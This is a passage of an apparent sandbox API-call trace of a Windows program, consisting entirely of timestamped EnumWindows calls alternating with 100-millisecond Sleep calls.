lParam=0x410000) [0139.594] Sleep (dwMilliseconds=0x64) [0139.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.660] Sleep (dwMilliseconds=0x64) [0139.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.738] Sleep (dwMilliseconds=0x64) [0139.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.740] Sleep (dwMilliseconds=0x64) [0139.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.742] Sleep (dwMilliseconds=0x64) [0139.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.744] Sleep (dwMilliseconds=0x64) [0139.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.745] Sleep (dwMilliseconds=0x64) [0139.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.748] Sleep (dwMilliseconds=0x64) [0139.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.750] Sleep (dwMilliseconds=0x64) [0139.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.751] Sleep (dwMilliseconds=0x64) [0139.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.753] Sleep (dwMilliseconds=0x64) [0139.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.755] Sleep (dwMilliseconds=0x64) [0139.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.757] Sleep (dwMilliseconds=0x64) [0139.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.758] Sleep (dwMilliseconds=0x64) [0139.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.760] Sleep (dwMilliseconds=0x64) [0139.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.820] Sleep (dwMilliseconds=0x64) [0139.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.823] Sleep (dwMilliseconds=0x64) [0139.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.825] Sleep (dwMilliseconds=0x64) [0139.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.827] Sleep (dwMilliseconds=0x64) [0139.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.829] Sleep (dwMilliseconds=0x64) [0139.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.830] Sleep (dwMilliseconds=0x64) [0139.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.832] Sleep (dwMilliseconds=0x64) [0139.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.834] Sleep (dwMilliseconds=0x64) [0139.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.836] Sleep (dwMilliseconds=0x64) [0139.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.837] Sleep (dwMilliseconds=0x64) [0139.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.839] Sleep (dwMilliseconds=0x64) [0139.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.841] Sleep (dwMilliseconds=0x64) [0139.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.843] Sleep (dwMilliseconds=0x64) [0139.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.845] Sleep (dwMilliseconds=0x64) [0139.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.847] Sleep (dwMilliseconds=0x64) [0139.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.848] Sleep (dwMilliseconds=0x64) [0139.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.850] Sleep (dwMilliseconds=0x64) [0139.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.879] Sleep (dwMilliseconds=0x64) [0139.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.881] Sleep (dwMilliseconds=0x64) [0139.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.882] Sleep (dwMilliseconds=0x64) [0139.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.884] Sleep (dwMilliseconds=0x64) [0139.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.886] Sleep (dwMilliseconds=0x64) [0139.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.887] Sleep (dwMilliseconds=0x64) [0139.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.889] Sleep (dwMilliseconds=0x64) [0139.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.890] Sleep (dwMilliseconds=0x64) [0139.891] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.892] Sleep (dwMilliseconds=0x64) [0139.893] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.893] Sleep (dwMilliseconds=0x64) [0139.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.895] Sleep (dwMilliseconds=0x64) [0139.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.896] Sleep (dwMilliseconds=0x64) [0139.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.902] Sleep (dwMilliseconds=0x64) [0139.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.905] Sleep (dwMilliseconds=0x64) [0139.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.907] Sleep (dwMilliseconds=0x64) [0139.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.909] Sleep (dwMilliseconds=0x64) [0139.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.910] Sleep (dwMilliseconds=0x64) [0139.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.913] Sleep (dwMilliseconds=0x64) [0139.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.916] Sleep (dwMilliseconds=0x64) [0139.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.919] Sleep (dwMilliseconds=0x64) [0139.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.921] Sleep (dwMilliseconds=0x64) [0139.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.923] Sleep (dwMilliseconds=0x64) [0139.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.925] Sleep (dwMilliseconds=0x64) [0139.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.927] Sleep (dwMilliseconds=0x64) [0139.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.930] Sleep (dwMilliseconds=0x64) [0139.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.932] Sleep (dwMilliseconds=0x64) [0139.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.934] Sleep (dwMilliseconds=0x64) [0139.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.936] Sleep (dwMilliseconds=0x64) [0139.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.938] Sleep (dwMilliseconds=0x64) [0139.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.943] Sleep (dwMilliseconds=0x64) [0139.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.945] Sleep (dwMilliseconds=0x64) [0139.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.947] Sleep (dwMilliseconds=0x64) [0139.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.949] Sleep (dwMilliseconds=0x64) [0139.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.950] Sleep (dwMilliseconds=0x64) [0139.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.952] Sleep (dwMilliseconds=0x64) [0139.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.953] Sleep (dwMilliseconds=0x64) [0139.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.955] Sleep (dwMilliseconds=0x64) [0139.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.956] Sleep (dwMilliseconds=0x64) [0139.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.958] Sleep (dwMilliseconds=0x64) [0139.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.959] Sleep (dwMilliseconds=0x64) [0139.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.962] Sleep (dwMilliseconds=0x64) [0139.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.964] Sleep (dwMilliseconds=0x64) [0139.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.965] Sleep (dwMilliseconds=0x64) [0139.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.967] Sleep (dwMilliseconds=0x64) [0139.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.968] Sleep (dwMilliseconds=0x64) [0139.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.970] Sleep (dwMilliseconds=0x64) [0139.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.971] Sleep (dwMilliseconds=0x64) [0139.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.973] Sleep (dwMilliseconds=0x64) [0139.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.974] Sleep (dwMilliseconds=0x64) [0139.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.976] Sleep (dwMilliseconds=0x64) [0140.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.154] Sleep (dwMilliseconds=0x64) [0140.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.180] Sleep (dwMilliseconds=0x64) [0140.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.182] Sleep (dwMilliseconds=0x64) [0140.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.184] Sleep (dwMilliseconds=0x64) [0140.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.207] Sleep (dwMilliseconds=0x64) [0140.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.211] Sleep (dwMilliseconds=0x64) [0140.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.213] Sleep (dwMilliseconds=0x64) [0140.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.215] Sleep (dwMilliseconds=0x64) [0140.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.217] Sleep (dwMilliseconds=0x64) [0140.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.220] Sleep (dwMilliseconds=0x64) [0140.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.222] Sleep (dwMilliseconds=0x64) [0140.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.223] Sleep (dwMilliseconds=0x64) [0140.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.225] Sleep (dwMilliseconds=0x64) [0140.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.227] Sleep (dwMilliseconds=0x64) [0140.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.229] Sleep (dwMilliseconds=0x64) [0140.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.231] Sleep (dwMilliseconds=0x64) [0140.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.232] Sleep (dwMilliseconds=0x64) [0140.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.234] Sleep (dwMilliseconds=0x64) [0140.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.238] Sleep (dwMilliseconds=0x64) [0140.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.240] Sleep (dwMilliseconds=0x64) [0140.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.242] Sleep (dwMilliseconds=0x64) [0140.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.244] Sleep (dwMilliseconds=0x64) [0140.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.246] Sleep (dwMilliseconds=0x64) [0140.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.248] Sleep (dwMilliseconds=0x64) [0140.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.249] Sleep (dwMilliseconds=0x64) [0140.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.251] Sleep (dwMilliseconds=0x64) [0140.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.254] Sleep (dwMilliseconds=0x64) [0140.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.256] Sleep (dwMilliseconds=0x64) [0140.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.258] Sleep (dwMilliseconds=0x64) [0140.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.259] Sleep (dwMilliseconds=0x64) [0140.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.261] Sleep (dwMilliseconds=0x64) [0140.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.263] Sleep (dwMilliseconds=0x64) [0140.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.265] Sleep (dwMilliseconds=0x64) [0140.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.267] Sleep (dwMilliseconds=0x64) [0140.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.269] Sleep (dwMilliseconds=0x64) [0140.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.270] Sleep (dwMilliseconds=0x64) [0140.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.273] Sleep (dwMilliseconds=0x64) [0140.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.275] Sleep (dwMilliseconds=0x64) [0140.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.277] Sleep (dwMilliseconds=0x64) [0140.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.278] Sleep (dwMilliseconds=0x64) [0140.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.280] Sleep (dwMilliseconds=0x64) [0140.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.282] Sleep (dwMilliseconds=0x64) [0140.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.284] Sleep (dwMilliseconds=0x64) [0140.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.285] Sleep (dwMilliseconds=0x64) [0140.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.287] Sleep (dwMilliseconds=0x64) [0140.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.289] Sleep (dwMilliseconds=0x64) [0140.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.291] Sleep (dwMilliseconds=0x64) [0140.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.353] Sleep (dwMilliseconds=0x64) [0140.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.459] Sleep (dwMilliseconds=0x64) [0140.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.490] Sleep (dwMilliseconds=0x64) [0140.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.500] Sleep (dwMilliseconds=0x64) [0140.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.502] Sleep (dwMilliseconds=0x64) [0140.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.504] Sleep (dwMilliseconds=0x64) [0140.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.506] Sleep (dwMilliseconds=0x64) [0140.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.507] Sleep (dwMilliseconds=0x64) [0140.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.509] Sleep (dwMilliseconds=0x64) [0140.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.511] Sleep (dwMilliseconds=0x64) [0140.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.512] Sleep (dwMilliseconds=0x64) [0140.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.514] Sleep (dwMilliseconds=0x64) [0140.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.515] Sleep (dwMilliseconds=0x64) [0140.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.517] Sleep (dwMilliseconds=0x64) [0140.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.518] Sleep (dwMilliseconds=0x64) [0140.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.545] Sleep (dwMilliseconds=0x64) [0140.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.547] Sleep (dwMilliseconds=0x64) [0140.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.548] Sleep (dwMilliseconds=0x64) [0140.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.550] Sleep (dwMilliseconds=0x64) [0140.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.552] Sleep (dwMilliseconds=0x64) [0140.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.554] Sleep (dwMilliseconds=0x64) [0140.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.557] Sleep (dwMilliseconds=0x64) [0140.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.558] Sleep (dwMilliseconds=0x64) [0140.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.560] Sleep (dwMilliseconds=0x64) [0140.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.562] Sleep (dwMilliseconds=0x64) [0140.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.563] Sleep (dwMilliseconds=0x64) [0140.565] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.565] Sleep (dwMilliseconds=0x64) [0140.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.566] Sleep (dwMilliseconds=0x64) [0140.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.568] Sleep (dwMilliseconds=0x64) [0140.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.569] Sleep (dwMilliseconds=0x64) [0140.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.571] Sleep (dwMilliseconds=0x64) [0140.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.572] Sleep (dwMilliseconds=0x64) [0140.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.574] Sleep (dwMilliseconds=0x64) [0140.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.576] Sleep (dwMilliseconds=0x64) [0140.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.581] Sleep (dwMilliseconds=0x64) [0140.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.583] Sleep (dwMilliseconds=0x64) [0140.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.586] Sleep (dwMilliseconds=0x64) [0140.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.588] Sleep (dwMilliseconds=0x64) [0140.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.590] Sleep (dwMilliseconds=0x64) [0140.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.592] Sleep (dwMilliseconds=0x64) [0140.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.593] Sleep (dwMilliseconds=0x64) [0140.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.595] Sleep (dwMilliseconds=0x64) [0140.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.596] Sleep (dwMilliseconds=0x64) [0140.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.598] Sleep (dwMilliseconds=0x64) [0140.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.599] Sleep (dwMilliseconds=0x64) [0140.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.601] Sleep (dwMilliseconds=0x64) [0140.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.602] Sleep (dwMilliseconds=0x64) [0140.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.604] Sleep (dwMilliseconds=0x64) [0140.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.606] Sleep (dwMilliseconds=0x64) [0140.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.608] Sleep (dwMilliseconds=0x64) [0140.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.609] Sleep (dwMilliseconds=0x64) [0140.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.611] Sleep (dwMilliseconds=0x64) [0140.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.613] Sleep (dwMilliseconds=0x64) [0140.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.615] Sleep (dwMilliseconds=0x64) [0140.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.617] Sleep (dwMilliseconds=0x64) [0140.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.619] Sleep (dwMilliseconds=0x64) [0140.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.621] Sleep (dwMilliseconds=0x64) [0140.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.624] Sleep (dwMilliseconds=0x64) [0140.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.626] Sleep (dwMilliseconds=0x64) [0140.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.627] Sleep (dwMilliseconds=0x64) [0140.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.629] Sleep (dwMilliseconds=0x64) [0140.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.630] Sleep (dwMilliseconds=0x64) [0140.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.632] Sleep (dwMilliseconds=0x64) [0140.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.634] Sleep (dwMilliseconds=0x64) [0140.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.636] Sleep (dwMilliseconds=0x64) [0140.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.638] Sleep (dwMilliseconds=0x64) [0140.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.640] Sleep (dwMilliseconds=0x64) [0140.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.641] Sleep (dwMilliseconds=0x64) [0140.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.643] Sleep (dwMilliseconds=0x64) [0140.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.644] Sleep (dwMilliseconds=0x64) [0140.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.646] Sleep (dwMilliseconds=0x64) [0140.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.648] Sleep (dwMilliseconds=0x64) [0140.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.649] Sleep (dwMilliseconds=0x64) [0140.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.651] Sleep (dwMilliseconds=0x64) [0140.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.653] Sleep (dwMilliseconds=0x64) [0140.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.654] Sleep (dwMilliseconds=0x64) [0140.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.657] Sleep (dwMilliseconds=0x64) [0140.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.659] Sleep (dwMilliseconds=0x64) [0140.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.660] Sleep (dwMilliseconds=0x64) [0140.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.668] Sleep (dwMilliseconds=0x64) [0140.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.670] Sleep (dwMilliseconds=0x64) [0140.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.672] Sleep (dwMilliseconds=0x64) [0140.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.673] Sleep (dwMilliseconds=0x64) [0140.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.676] Sleep (dwMilliseconds=0x64) [0140.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.678] Sleep (dwMilliseconds=0x64) [0140.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.680] Sleep (dwMilliseconds=0x64) [0140.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.683] Sleep (dwMilliseconds=0x64) [0140.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.685] Sleep (dwMilliseconds=0x64) [0140.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.686] Sleep (dwMilliseconds=0x64) [0140.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.689] Sleep (dwMilliseconds=0x64) [0140.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.690] Sleep (dwMilliseconds=0x64) [0140.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.693] Sleep (dwMilliseconds=0x64) [0140.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.695] Sleep (dwMilliseconds=0x64) [0140.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.698] Sleep (dwMilliseconds=0x64) [0140.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.700] Sleep (dwMilliseconds=0x64) [0140.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.702] Sleep (dwMilliseconds=0x64) [0140.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.703] Sleep (dwMilliseconds=0x64) [0140.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.705] Sleep (dwMilliseconds=0x64) [0140.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.708] Sleep (dwMilliseconds=0x64) [0140.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.748] Sleep (dwMilliseconds=0x64) [0140.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.751] Sleep (dwMilliseconds=0x64) [0140.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.754] Sleep (dwMilliseconds=0x64) [0140.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.758] Sleep (dwMilliseconds=0x64) [0140.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.761] Sleep (dwMilliseconds=0x64) [0140.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.762] Sleep (dwMilliseconds=0x64) [0140.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.765] Sleep (dwMilliseconds=0x64) [0140.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.766] Sleep (dwMilliseconds=0x64) [0140.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.768] Sleep (dwMilliseconds=0x64) [0140.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.793] Sleep (dwMilliseconds=0x64) [0140.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.795] Sleep (dwMilliseconds=0x64) [0140.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.797] Sleep (dwMilliseconds=0x64) [0140.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.798] Sleep (dwMilliseconds=0x64) [0140.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.800] Sleep (dwMilliseconds=0x64) [0140.801] EnumWindows 